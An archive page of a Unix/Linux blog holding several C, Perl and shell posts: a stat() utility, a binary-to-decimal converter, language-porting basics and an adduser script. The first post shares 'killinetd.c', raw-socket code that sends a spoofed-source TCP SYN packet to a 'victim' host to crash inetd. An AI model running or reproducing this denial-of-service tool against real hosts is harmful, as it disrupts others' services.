Showing posts with label c. Show all posts
Showing posts with label c. Show all posts

Monday, April 27, 2009

One Of The Many Reasons Inetd Isn't Around Any More On Linux Or Unix

Hey There,

I decided to comb through some older code I had laying around for today's post since I'll be waking up 5:30am (about 3 and 1/2 hours early) to get to work today (or tomorrow, if you're reading this post when it's "actually" been published ;) and I found this little nugget lying around that may allow me to get some fitful rest before my alarm clock goes off :P

Let me state right off the bat that "this code is not mine." Also, "I have no idea who wrote it." I'm sure it was no one I worked with in the past and I'm doubly sure that it wasn't me (it's too well written ;). Admittedly, I only did Google searching to try and found out the rightful owner, so that I could give attribution, but I couldn't find anything that resembled this. It may just be the search terms I used. Sometimes when you Google for "White China" you end up with nothing but links to web pages about Scandanavian Basket Weaving... who knows? ;)

In any event, I thought this was interesting (and thought a few of you out there might find it interesting as well). It may require some modification to work on your machine, but it's pretty straightforward and easy to compile. It also does it's job; it kills inetd. That's probably why I saved it as killinetd.c ;) Worst case, it may provide you with some insight into a c code problem you're having trouble solving that's almost completely unrelated :)

You should be able to compile it (using gcc, since it's free) like this:

host # gcc -o killinetd killinetd.c

If, for some reason, your system links back and requires socket libraries to compile, you can generally get away with:

host # gcc -o killinetd killinetd.c -lsocket -lnsl

You may need only one of the "libsocket" and "libnsl" references above, or you may need both. It highly depends on what OS you're compiling this on.

If you still have a system that uses the old-fashioned inetd (not xinetd or the updated Solaris-type inetd with smf (the one were you update it with inetconv instead of just sending a HUP signal to inetd)), this will probably work.

Enjoy! But enjoy responsibly ;)

Cheers,

NOTE: This code is the intellectual property of whomever originally wrote it. If you can email us (via the link at the upper right of the blog) and provide sufficient evidence that this code is yours, we will gladly include your name (to give you full attribution), remove it from this blog, replace it with a "Family Circus" cartoon, or pretty much anything you want... within reason ;)



#include <sys/types.h>
#include <inet/led.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <inet/ip.h>
#include <inet/tcp.h>
#include <stdio.h>


#define NPROBES 1

#define SEQ 0x28374839

unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}


int sock, ssock;

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;

struct sockaddr_in sin; /* how necessary is this? */

ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
&sin, sizeof(sin))<0) {
perror("sendto");
exit(1);
}
}




probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i;
struct iphdr ih;
struct tcphdr th;
char buf[1024];

ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(6969);
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;

th.source=htons(9999);
th.dest=htons(port);
th.seq=htonl(SEQ+i);
th.ack_seq=0;
th.res1=0;
th.doff=sizeof(th)/4;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(512);
th.check=0;
th.urg_ptr=0;

send_tcp_segment(&ih, &th, &ih, 0);

}

unsigned long getaddr(char *name) {
struct hostent *hep;

hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}


main(int argc, char **argv) {
unsigned long me=htonl(0x980101ae), victim;
int port=13;
struct hostent *hep;

if(argc<2) {
printf("Usage: %s target [port [source]]\n", argv[0]);
exit(1);
}

if(argc>=2)
victim=getaddr(argv[1]);

if(argc>=3)
port=atoi(argv[2]);

if(argc>=4)
me=getaddr(argv[3]);


ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock<0) {
perror("socket (raw)");
exit(1);
}

probe_seq(me, victim, port);
}




, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, March 3, 2009

Simple Code To Implement C's stat() function On Linux And Unix

Hey There,

Today's post loosely ties back to our post last week on Perl stat() basics for Linux and Unix, although this post is not a continuation of that one. Just trying to keep it confusing ;)

I've often been bashed for my C programming skills (the "bash" in that sentence wasn't meant to be a pun), and, although I've come to expect the vicious backlash, I still like to come back to C every once in a while to look at some of the things you can do with it and to keep me awake ;) That being said, any competent C programmer out there who finds fault with this post's attached C-code is, most probably, correct. This could be written better, have more robust error-checking, implement measures to prevent buffer over-runs, under-runs, and a thousand other exploits. That being said; it works, which is miracle enough for me :) Feel free to modify it in any way, shape or form you prefer. Everything I put on this blog is considered at-your-own-risk material. There's not all that much to worry about, though, if you just use this code for yourself to test and play with. Just secure it with simple ownership and file permission settings and delete the binary when you're done.

It's been a long time since I've had to write this, but typing it will be faster than trying to find another post with C code in it ;) If you want to compile the attached code, you can do the following (should work with most any C compiler, I'm just using gcc as an example since that's what I have installed on my machine):

host # gcc -o filestat filestat.c

and the program is ready to run. That part's pretty simple, too. You just execute it and follow it with one or more file names (they can be "any" type of file: file, directory, link, socket, etc). If you want to see the usage information, just run it without any arguments, like so:

host # ./filestat
Usage: ./filestat file1 file2 fileN...


The most interesting part for me was figuring out how to decipher the "file mode" information. If you check your system's "stat" manpage, you'll see that there are actually a good deal of macros already written-in that make printing out plain English file types and modes much simpler, but I decided to keep it cryptic. I take my modes like I take my permissions; in octal ;)

Here's a sample run of the program - just using one file to make it simple (it should be noted, also, that you can only run this command against file types that you have permission to read. If you run this as your regular user on a file owned by root with 700 permissions, you'll get the "File or Directory Not Found!" error, which is, technically, incorrect. My God, am I a lazy C programmer. No wonder I get beat up so bad every time I goof around with it on here ;)

NOTE: This program interacts with the shell you're using, so if, for instance, you can access a file named "myfile" by typing "my*", the same globbing rules will be taken care of, applied to the filename and expanded by the shell before this program processes it!

host # ./filestat tct-1.18
****************************************
Checking tct-1.18
****************************************
tct-1.18 stat values are:
****************************************
File Mode: 40700
Inode Number: 17540
Device ID: 35651599
Raw Device ID: 0
Number Of Links: 12
User ID: 0
Group ID: 0
Bytes Size: 1024
Access Time: Mon, March 02, 2009 - 14:15:31
Modification Time: Mon, April 09, 2007 - 08:36:09
Status Change Time: Mon, March 02, 2009 - 15:47:38
Block Size: 8192
Number Of Blocks: 2
File System Type: ufs
****************************************


Most of the above is self-explanatory. The few things to note (if you just "really" don't want to read the manpage ;) are that the "Raw Device ID" is almost always zero unless you're dealing with a disk, or other file type, that supports raw access. From my own testing, you can definitely get back a "Raw Device ID" from any disk (/dev/rdsk/c0t0d0s0, /dev/dsk/c0t0d0s0, /dev/hda1, etc). The "Bytes Size" is simply the Size in Bytes. I left it the way it is because it reminds me that I need to eat less ;)

Lastly, you may have noted that the "File Mode" (listed first in the output, since I just went through the "stat" struct and used each value in order) seems a bit off. The last 3 digits are probably familiar to most Linux and Unix users, as they represent the file permissions. By the same virtue, the first 4 (including those original 3), probably seem familiar as well, since that 4th-left bit is used in octal permissions settings to represent setuid, setgid, and sticky-bit, etc, special permissions. So, for the above "File Mode" of 40700, you know that the file permissions are "0700" (no setuid, setgid or sticky-bit - read/write/execute for the user and no permissions for the group and world).

The only question, once you've got the right side of the "File Mode" down is, what do the variable number of numerals to the left of those stand for? The answer is pretty simple and (as I noted above) there are standard macros that you can use in your C code to test the mode and print it out so that it's more human-readable. Basically, they determine the type of file you're interrogating. Since our one number to the left of the four permission bits is "4," we know that the file we're accessing is a directory. You can see this in the table below (shamelessly lifted from the system header file - /usr/include/sys/stat.h ;) <-- This is just a subset of all available macros. There's a lot more information in that header file than I want to jam into this post... It's getting long enough now. Especially bad if you're an "F" reader ;)

As one last interesting side-note, the "File Mode" for the gzipped tarball, that was extracted to create this directory, is "100700" which gives us the same permissions, but a "10" on the left-hand "file type" side. You can also see this showing up below as a "regular" file.

#define S_IFMT  0170000  /* type of file mask */
#define S_IFIFO 0010000 /* named pipe (fifo) */
#define S_IFCHR 0020000 /* character special */
#define S_IFDIR 0040000 /* directory */
#define S_IFBLK 0060000 /* block special */
#define S_IFREG 0100000 /* regular */
#define S_IFDB 0110000 /* record access file */
#define S_IFLNK 0120000 /* symbolic link */
#define S_IFSOCK 0140000 /* socket */
#define S_IFWHT 0160000 /* whiteout */
#define S_ISVTX 0001000 /* save swapped text even after use */
#define S_IRWXU 00700 /* read, write, execute: owner */
#define S_IRUSR 00400 /* read permission: owner */
#define S_IWUSR 00200 /* write permission: owner */
#define S_IXUSR 00100 /* execute permission: owner */
#define S_IRWXG 00070 /* read, write, execute: group */
#define S_IRGRP 00040 /* read permission: group */
#define S_IWGRP 00020 /* write permission: group */
#define S_IXGRP 00010 /* execute permission: group */
#define S_IRWXO 00007 /* read, write, execute: other */
#define S_IROTH 00004 /* read permission: other */
#define S_IWOTH 00002 /* write permission: other */
#define S_IXOTH 00001 /* execute permission: other */


Hope you enjoy the attached C code and get some use out of it (or your own Frankenstein'ed version of it ;)

Cheers,

Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <pwd.h>
#include <grp.h>
#include <time.h>
#include <locale.h>
#include <langinfo.h>
#include <fcntl.h>

/*********************************************
filestat.c - Would you like fries with that?
2009 - Mike Golvach - eggi@comcast.net
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*********************************************/
int main (int argc, char *argv[])
{
if (argc <= 1) {
printf("Usage: %s file1 file2 fileN...\n", argv[0]);
exit(1);
}
struct stat dirfilebuf;
int arguments, dirfilestate;
const char *dirfilename;
char *nicetime, *errormessage, *divider;

dirfilename=(char*)(malloc(sizeof(char)));
nicetime=(char*)(malloc(sizeof(char)));
errormessage=(char*)(malloc(sizeof(char)));
divider=(char*)(malloc(sizeof(char)));

errormessage="File or Directory Not Found!";
divider="****************************************";

for (arguments = 1; arguments < argc; arguments++) {
dirfilename = argv[arguments];
printf("%s\nChecking %s\n%s\n", divider,dirfilename,divider);
dirfilestate = stat(dirfilename, &dirfilebuf);
if ( dirfilestate == -1 ) {
printf("%s - Quitting!\n", errormessage);
exit(1);
} else{
printf("%s stat values are:\n%s\n", dirfilename,divider);
printf("File Mode: %lo\n", dirfilebuf.st_mode);
printf("Inode Number: %-10d\n", dirfilebuf.st_ino);
printf("Device ID: %d\n", dirfilebuf.st_dev);
printf("Raw Device ID: %d\n", dirfilebuf.st_rdev);
printf("Number Of Links: %d\n", dirfilebuf.st_nlink);
printf("User ID: %-8d\n", dirfilebuf.st_uid);
printf("Group ID: %-8d\n", dirfilebuf.st_gid);
printf("Bytes Size: %jd\n", (intmax_t)dirfilebuf.st_size);
strftime(nicetime,34,"%a, %B %d, %Y - %H:%M:%S", localtime(&dirfilebuf.st_atime));
printf("Access Time: %s\n", nicetime);
strftime(nicetime,34,"%a, %B %d, %Y - %H:%M:%S", localtime(&dirfilebuf.st_mtime));
printf("Modification Time: %s\n", nicetime);
strftime(nicetime,34,"%a, %B %d, %Y - %H:%M:%S", localtime(&dirfilebuf.st_ctime));
printf("Status Change Time: %s\n", nicetime);
printf("Block Size: %d\n", dirfilebuf.st_blksize);
printf("Number Of Blocks: %d\n", dirfilebuf.st_blocks);
printf("File System Type: %s\n", dirfilebuf.st_fstype);
printf("%s\n", divider);
}
}
}


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, July 15, 2008

Converting Binary Numbers To Decimal The Hard Way On Linux Or Unix

Hey There,

If you recall a while back, we looked at using Perl's "unpack" function to easily convert binary values to decimal and convert decimal back to binary. Those were both (some folks may consider) relatively sophisticated methods of tackling the problem. Although, once you understand how "unpack" works, the first becomes incredibly simple to use and understand. The other one may always be a little awkward.

Today we're going to look at doing binary to decimal conversion using a less "worldly" method ;) The program we have for you today (and I refer to it as a program since it's written in C) attacks the problem more naturally. And, by naturally, I mean that it should make sense to anyone at its core (assuming they understand the C programming language). The method of execution is not the most efficient, but I think it's the most "human readable." In a future post, we'll definitely convert it to Perl, shell and Awk. And, maybe before then, we'll get to the next part in our ongoing series on Perl, shell and Awk porting. We'll get there eventually. If I didn't have so many different things to write about, I could bore you to tears with that stuff (if I haven't already ;)

Hope you enjoy the program. You can build it easily, using a compiler like gcc in this fashion:

host # gcc -o bin2dec bin2dec.c

and run it just as easily:

host # $ ./bin2dec

8 Digit Binary Number?
10010010
<-- I think there's a subtle homage to Rush in there - just forget about the ending 0 ;)

Binary 10010010 equals Decimal 146!

The only catch, which the executable program will prompt you with, is that (in order to keep it simple) it's limited to 8 digit binary numbers and expects an 8 digit binary number as input. This means that binary 1 would return 128 (10000000) instead of 1 (00000001). Both symptoms can be fixed by adding extra code to pad zeros on the left hand side, but I felt, after seeing the resulting code, that including it would take away from the basic gist of this post, which is that C, Perl, shell and Awk are totally accessible to "anyone" who wants to learn them. I wanted to put something out that looked as little like a completely foreign language as possible. It is my philosophy that anyone can learn how to code and/or use the Linux or Unix Operating System(s).

Of course, if "everyone" loses their irrational "fear of computers" and does start doing this stuff well, I'll end up being a fry-guy at McDonald's in about 10 years ;)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

/********************************************
* bin2dec - Convert 8 digit binary numbers *
* to decimal numbers *
* *
* 2008 - Mike Golvach - eggi@comcast.net *
* *
********************************************/

/* Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License */

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>

main()
{

char binnumber[8];
int length;
int difference;
int total = 0;

printf("\n8 Digit Binary Number?\n");
scanf("%s", &binnumber);
length = strlen(binnumber);
if ( length < 8 ) {
difference = -(length - 8);
}
if ( binnumber[7] == '1' ) {
total = total + 1;
}
if ( binnumber[6] == '1' ) {
total = total + 2;
}
if ( binnumber[5] == '1' ) {
total = total + 4;
}
if ( binnumber[4] == '1' ) {
total = total + 8;
}
if ( binnumber[3] == '1' ) {
total = total + 16;
}
if ( binnumber[2] == '1' ) {
total = total + 32;
}
if ( binnumber[1] == '1' ) {
total = total + 64;
}
if ( binnumber[0] == '1' ) {
total = total + 128;
}
printf("\nBinary %s equals Decimal %d!\n", binnumber, total);
return 0;
}


, Mike

Wednesday, May 14, 2008

Working With Arrays - Porting Between Linux Or Unix Using Bash, Perl, C and Awk

Greetings,

Back to porting some more :) Building on our posts starting from the shebang line, followed, somewhat logically by a post on working with simple variables, today we're going to move on to the next step: Defining, populating and extracting the values from simple array variables.

The array variable is another basic building block of most shell scripts or code. Put simply, an array is just a collection of the simple variables we looked at in our last post on porting.

The technical definitions, especially as they apply to each of our four languages (bash, Perl, awk and C) are beyond the scope of this series of posts (for now). The details are important, but they're useless if you don't know the basics. To put it in another light, when you learn a foreign language (German, for example), it's more important that you understand basic concepts of the language, and how to use those simple phrases, than it is for you to be able to break down the subtle differences between the gender and tense of each word within the context of a sentence. The folks in Germany will know you need to go to the bathroom no matter how poor your grammar is, as long as you can spit out a few key words that indicate your need to find a restroom immediately ;)

So, let's get started with arrays:

Arrays, as we mentioned, are simply collections of simple variables. For instance, taking from our previous example, if we have a variable x, that has a value of y (x=y), then we have a simple variable. Arrays provide a way to group collections of simple variables. So you could have a number of variable/value pairs (x=y, a=b, c=d, e=f, etc), or simply a collection of values, that can all be referred to by one variable name: the array name (e.g. array b = x=y and a=b and c=d and e=f). More cryptic than a simple variable explanation, but (even if it's not right now) simple to understand once you get the hang of it.

1. Defining, Initializing or Declaring an array. As was the case with simple variables, with a simple array, except in C (of course), no explicit declaration of an array is absolutely necessary:

Ex: We need to define an array called MySimpleArray. This is trivial in all four languages:

In Bash: Just type "declare -a MySimpleArray" (again, you can also use "typeset -a"). This is not absolutely necessary, as you can create an array simply by defining a part of it (e.g. MySimpleArray[0]="bob" would create the MySimpleArray array with one value)

In Perl: Just type "@MySimpleArray;" - The @ sign indicates an array in Perl, as opposed to the $ sign, which indicates a scalar (or simple, or string) variable. Perl arrays can also be created by defining their elements.

In Awk: Just type "declare MySimpleArray" - Again, arrays in Awk can be created by referencing their components.

In C: You "need" to declare/initialize your array (and its size) before you can use it. As noted in our last post, a simple string variable, in C, is actually an array of the type "char."

So, just like when you declared the "simple variable" MySimpleVariable, you'll use the exact same syntax, since that was, technically, an array: "char *MySimpleArray;" (This, again, generally needs to be followed by a declaration of the size/memory-allocation-requirement of the string, like "MySimpleArray = (char *)malloc(8*sizeof(char));" for an 8 character array).

Also, in C, if you want to declare an integer array, you would do it in this fashion (although we're not going to drill too far into this since it pulls away from the commonality of all the other examples): "int MySimpleArray[8];" for an eight integer array.

2. Assigning values to the simple array. This is very straightforward in all of our four languages:

Ex: We want to assign the values "MySimpleValue0", "MySimpleValue1," and "MySimpleValue2" to the simple array named MySimpleArray (Note that any values that contain spaces should be quoted - it's actually good practice to quote any string that is a being used as a value in an array. This is generally not necessary for integer values). Note that our instructions for creation here today are based on simplicity, and not efficiency. There are quicker ways to define arrays all at once (and print them all at once, when we extract the values from the array variables), but we'll leave that for another time. Also note that, in most arrays, the first element is numbered 0, rather than 1.

In Bash: Just type "MySimpleArray[0]=MySimpleValue0; MySimpleArray[1]=MySimpleValue1; MySimpleArray[2]=MySimpleValue2" - Spaces between the variable, "=" sign and value are not permitted.

In Perl: Just type "$MySimpleArray[0] = MySimpleValue0; $MySimpleArray[1] = MySimpleValue1; $MySimpleArray[2] = MySimpleValue2;" - Spaces between the variable, "=" sign and value are optional. Note that we have to use the $ symbol when referring to an element of an array, while we use the @ symbol to refer to the entire array.

In Awk: Just type "MySimpleArray[0] = "MySimpleValue0"; MySimpleArray[1] = "MySimpleValue1"; MySimpleArray[2] = "MySimpleValue2"" - Spaces between the variable, "=" sign and value are not, technically, necessary, but recommended. Also, note that "MySimpleValue0," "MySimpleValue1," and "MySimpleValue2" are placed within double quotes in the assignment. This is sometimes necessary for string values, but usually not for numeric values.

In C: Just type: "MySimpleArray = "MySimpleValue";" If your array is not simply a char (as we're using in our example today), you do not need to use quotes. For an integer array, you would add values like this: "MySimpleArray[] = {0,1,2};" <--- Again, apologies if these C integer array side notes are distracting. Just ignore them ;)

3. Extracting the value from your simple array. It's time to collect :)

Ex: We want to print the value of the MySimpleArray elements. This is also fairly simple in all four languages:

In Bash: Just type "echo ${MySimpleArray[0]};echo ${MySimpleArray[1]};echo ${MySimpleArray[2]}" - Note that the $ character needs to precede the variable name when you want to get the value and that the {} brackets around the array name and subscript (in [] brackets) are required. Printing ${MySimpleArray[@]} would print out all elements.

host # echo ${MySimpleArray[0]};echo ${MySimpleArray[1]};echo ${MySimpleArray[2]}
MySimpleValue0
MySimpleValue1
MySimpleValue2


In Perl: Just type "print "$MySimpleArray[0] $MySimpleArray[1] $MySimpleArray[2]\n";" - Note that the $ character needs to precede the variable name when you want to get the individual value of an array element (printing @MySimpleArray would print out all elements) - The \n, indicating a carriage-return, line-feed or new-line isn't necessary, but is nice if you don't want your output on the same line as your next command prompt:

host # perl -e '@MySimpleArray[0] = MySimpleValue0; @MySimpleArray[1] = MySimpleValue1; @MySimpleArray[2] = MySimpleValue2;print "$MySimpleArray[0] $MySimpleArray[1] $MySimpleArray[2]\n";'
MySimpleValue0 MySimpleValue1 MySimpleValue2


In Awk: Just Type "print MySimpleArray[0],MySimpleArray[1],MySimpleArray[2]" - Note that the $ or @ symbol "must not" precede the variable name when you want to get the value. The comma in between the values ensures that a space will be printed between them for clarity's sake. Note that awk arrays need to be iterated over to be entirely printed out, and then extra care has to be taken if you want to get the variables out in the correct sequence (for another day) :

host # echo|awk '{MySimpleArray[0] = "MySimpleValue0"; MySimpleArray[1] = "MySimpleValue1"; MySimpleArray[2] = "MySimpleValue2";print MySimpleArray[0],MySimpleArray[1],MySimpleArray[2]}'
MySimpleValue0 MySimpleValue1 MySimpleValue2


In C: Just type "printf("%s\n", MySimpleArray);" to get the value for your character array. Note, again, that, for these posts, we're not going to get into the compilation part of creating a working C program:

host # ./c_program
MySimpleArray


And, now we've got two out of the three of the "basics" covered. In our next post on this subject, we'll take a look at the third most common variable/value type: The hash or associative array (which, as chance would have it, are technically what Awk arrays are :)

Best Wishes,

, Mike

Monday, May 12, 2008

String Variables In Bash, Perl, C and Awk on Linux or Unix - Porting

Hey There,

Once again, we're back to porting. In this series of posts that's run the gamut from a somewhat brief explanation of the shebang line (The rightful starting place) to shell, Perl and C porting examples of a fully functional useradd program, we're finally coming back around to the beginning and getting back to basics. Trust me; this will eventually all fall together. When it does, I'll be sure to put up a road map so no one has to try the hit-and-miss blog-search method of information nesting ;)

Today, we're going to look at the simple variable (also referred to as scalar, string, etc); defining, assigning value to and extracting value from it on both Unix and Linux based systems. Our approach is going to be concept-based. That is to say that, for each post on cross-language porting, we'll be hitting on a single concept (such as the simple variable) and showing how each can be applied to our chosen four languages: bash (or shell), Perl, C and Awk (Some folks think Awk isn't a programming language for some reason, but we'll demonstrate, over time, that it must be, since it contains all the constructs that generally define a language as a "programming" language; as opposed to a "markup" language like HTML). I'm going to try and keep this linear, so we're starting out with the very basics and will, eventually, work toward more complex programming constructs.

Here we go:

The simple variable is relatively accurately described in its name. This is one of the simplest forms of variables, as it can be realistically thought of as having only two parts: Part 1 is the variable itself, and part 2 is that variables definition or value. If we say x=y, then the variable x (itself) equals y (its definition/value). Simple enough.

1.Defining, Initializing or Declaring the simple variable. This part is going to be simple for every kind of variable (simple and otherwise), because (except in C), no explicit declaration of most variables is necessary. For the simple variable, Bash, Perl and Awk allow you to define the variable when you assign it value. C requires that you define your variable before you use it. In Bash, Perl and Awk, you have the option to define your variable before use if you wish. Examples below (Note that all beginning and ending double quotes are for emphasis only and not actual code):

Ex: Defining a variable called MySimpleVariable.

In Bash: Just type "declare MySimpleVariable" (you can also use "typeset," and both have options to specify what type of variable you want your simple variable to be. For instance, you could type "declare -i MySimpleVariable" if you wanted your variable to be limited to only being an integer. For now, we're not imposing any restrictions.

In Perl: Just type "$MySimpleVariable;"

In Awk: Just type "declare MySimpleVariable"

In C: You "need" to declare/initialize your variables before you can use them. For this post, we'll stick to numbers and strings for the simple variable (even though, technically, a char string is an array in C). Pretty much everything else isn't simple ;)

For a simple integer variable, just type: "int MySimpleVariable;"
For a simple string variable, just type: "char *MySimpleVariable;" (This generally needs to be followed by a declaration of the size/memory-allocation-requirement of the string, like "MySimpleVariable = (char *)malloc(8*sizeof(char));" for an 8 character string)

2. Assigning values to the simple variable. This is very straightforward in all of our four languages:

Ex: We want to assign the value "MySimpleValue" to the simple variable named MySimpleVariable (Note that any values that contain spaces should be quoted).

In Bash: Just type "MySimpleVariable=MySimpleValue" - Spaces between the variable, "=" sign and value are not permitted.

In Perl: Just type "$MySimpleVariable = MySimpleValue;" - Spaces between the variable, "=" sign and value are optional.

In Awk: Just type "MySimpleVariable = "MySimpleValue"" - Spaces between the variable, "=" sign and value are not, technically, necessary, but recommended. Also, note that "MySimpleValue" is placed within double quotes in the assignment. This is sometimes necessary for string variables, but not for numeric variables (e.g. sometimes "a = b" doesn't work, but "a = 1" does. In this case "a = "b"" ( double quoted value) is required for the string variable assignment, but not the integer).

In C: Just type: "MySimpleVariable = MySimpleValue;" for an integer assignment. For a character, or string, assignment you must surround the value with double quotes (e.g. "MySimpleVariable = "MySimpleValue";").

3. Extracting the value from your simple variable. Finally, it's all going to pay off :)

Ex: We want to print the value of the MySimpleVariable variable. This is also fairly simple in all four languages (Okay, C is always going to be a bit more of a pain ;)

In Bash: Just type "echo $MySimpleVariable" - Note that the $ character needs to precede the variable name when you want to get the value.

host # echo $MySimpleVariable
MySimpleValue


In Perl: Just type "print "$MySimpleVariable\n";" - Note that the $ character needs to precede the variable name when you want to get the value - The \n, indicating a carriage-return, line-feed or new-line isn't necessary, but is nice if you don't want your output on the same line as your next command prompt:

host # perl -e '$MySimpleVariable = MySimpleValue;print "$MySimpleVariable\n";'
MySimpleValue


In Awk: Just Type "print MySimpleVariable" - Note that the $ character "must not" precede the variable name when you want to get the value.

host # echo|awk '{MySimpleVariable="MySimpleValue";print MySimpleVariable}'
MySimpleValue


In C: Just type "printf("%d\n", MySimpleVariable);" for an integer assignment. For a character, or string assignment, you would type: "printf("%s\n", MySimpleVariable);" -- The %s in printf indicates a "string" value and the %d indicates a simple decimal (or integer) value. Note that, for this post, we're going to skip the whole compile part of getting your C program to get you output. You can just take the examples from the preceding steps as guidance. There is a bit more to making a standalone C program than there is to making a standalone program with our other three languages.

host # ./c_program
MySimpleValue


And that's all there is to the simple variable (for the most part ;)

Enjoy, and Cheers,

, Mike

Sunday, February 17, 2008

Bash Shell Script - Part III Of C/Shell/Perl Porting.

Good Morning,

Today's bash shell script version of our 3 part porting post, all alliteration aside, wraps up this little experiment and, hopefully, helps tie it all together.

Please note the warning, posted yesterday, about the dangers of actually using this code plain-vanilla and keep in mind that our objective here was to show how the same objective can be accomplished using, and translated between, C code, Perl and shell script.

You can see how today's code looks written in C in our previous post on C code to add user accounts that we kicked this thing off with. Then, if you like, you can check out, virtually, the exact same thing in Perl on our previous post regarding using Perl to create user accounts.

Today's script should run equally well on both Linux and Unix. If you don't use the bash shell, or don't have it installed on your version of Unix or Linux, minor modifications to this script may be necessary, but they won't be quite as intense as the difference between this script and, say, our previous C code or Perl script.

If you do choose to revisit those previous posts, hopefully we've covered enough ground in each for you to notice the things in each that are wildly different and the things that are practically the same. Next week, amongst other things, we'll continue to look at porting between languages, but at a more specific level (which will also allow us to look at C, Perl and Shell concepts within the same post :)

Hope you enjoy this, and have a restful Sunday :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# adduser.sh
#
# Add Users, Set Up Profiles,
# Set The Password And Email
# An Admin
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'rm -f $home/.profile;exit 3' 1 2 3

if [ $# -ne 3 ]
then
echo "Usage: $0 [dirname - no slashes ] [ logname ] [ comment - in quotes ]"
exit 1
fi

userdir=$1
username=$2
commentfield="$3"
home="/${1}/${2}"
argument2=${#username}

if [ $argument2 -gt 8 -o $argument2 -lt 5 ]
then
echo "Please choose a logname between 5 and 8 characters!"
exit 1
fi

count=`awk -F":" '{print $3}' /etc/passwd|sort -n|tail -1`
let usernumber=$count+1

echo
echo "Check this out before proceeding!!!"
echo "-----------------------------------"
echo "Logname: $username"
echo "Homedir: $home"
echo "Comment: $commentfield"
echo "-----------------------------------"
echo
echo
echo "All of this ok?"
echo
echo "y or n"
echo

read reply

if [ $reply = "n" -o $reply = "N" ]
then
echo
echo "All right, give it another shot if you want!"
exit 0
elif [ $reply = "y" -o $reply = "Y" ]
then
:
else
echo "Only y or n - case insenstive allowed"
echo "Try Again"
exit 1
fi

echo "$username:x:$usernumber:1:$commentfield:/${userdir}/$username:/bin/ksh" >>/etc/passwd

echo "$username:*LK*:::::::" >>/etc/shadow

mkdir -m 0755 $home
cd $home

echo "stty istrip" >>.profile
echo "PATH=/bin:/usr/bin:/usr/local/bin:/usr/share/bin:." >>.profile
echo "export PATH" >>.profile
echo
echo

chown $username $home
chown ${usernumber}:1 .profile
chmod 0644 .profile

(echo "To: devnull@host.com";echo "Subject: New User Added!!!";echo;echo "$commentfield";echo "has a new account set up!";echo "The email address is ${username}@host.com!";echo;echo "Thank you,";echo " Mike Golvach")|/usr/lib/sendmail -t

echo
echo "All Done!!!"
echo
echo "Now set the Password!"
echo
/usr/bin/passwd $username
echo
echo "Password set!!! Take a break..."


, Mike




Saturday, February 16, 2008

Perl Script For User Account Addition - C/Shell/Perl Porting Part II

Hey there,

NOTE: Code revision 2/16/08 --
$home = "$ARGV[0]/$ARGV[0]";
should be
$home = "$ARGV[0]/$ARGV[1]";
Code below updated - thanks to the folks who caught that :)


